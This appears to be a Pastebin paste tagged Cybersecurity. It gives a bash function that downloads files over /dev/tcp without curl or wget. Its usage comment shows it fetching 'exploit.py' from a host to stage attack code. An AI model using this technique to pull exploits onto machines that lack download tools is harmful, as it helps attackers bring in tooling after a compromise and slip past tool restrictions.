Advertisement
Guest User

Download files without cURL or wget with bash

a guest
Mar 20th, 2023
3,106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.43 KB | Cybersecurity | 0 0
  1. function __curl() {
  2.   read proto server path <<<$(echo ${1//// })
  3.   DOC=/${path// //}
  4.   HOST=${server//:*}
  5.   PORT=${server//*:}
  6.   [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
  7.  
  8.   exec 3<>/dev/tcp/${HOST}/$PORT
  9.   echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  10.   (while read line; do
  11.    [[ "$line" == $'\r' ]] && break
  12.   done && cat) <&3
  13.   exec 3>&-
  14. }
  15.  
  16.  
  17. # USAGE: __curl http://www.example.com/exploit.py > sploitz.py
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement